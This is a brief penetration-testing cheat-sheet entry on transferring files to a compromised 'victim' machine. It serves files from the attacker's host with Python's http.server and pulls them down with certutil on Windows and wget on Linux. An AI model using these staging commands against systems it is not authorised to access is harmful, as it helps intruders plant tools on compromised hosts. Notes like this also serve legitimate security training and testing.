http.server module

The built in http.server module in Python can make http server on the fly, this server can be very useful to transfer files to the victim machine (downloading the files from the victim machine):

python3 -m http.server [PORT]

Downloading files on victim’s machine (MS Windows machine)

Certutil can be misused to download files from the attacker’s machine:

certutil.exe -urlcache -f http://[MACHINE TO DOWNLOAD FROM]/[FILE] [NAME]

Downloading files on victim’s machine (Linux machine)

wget http://[MACHINE TO DOWNLOAD FORM]/[FILE] [NAME]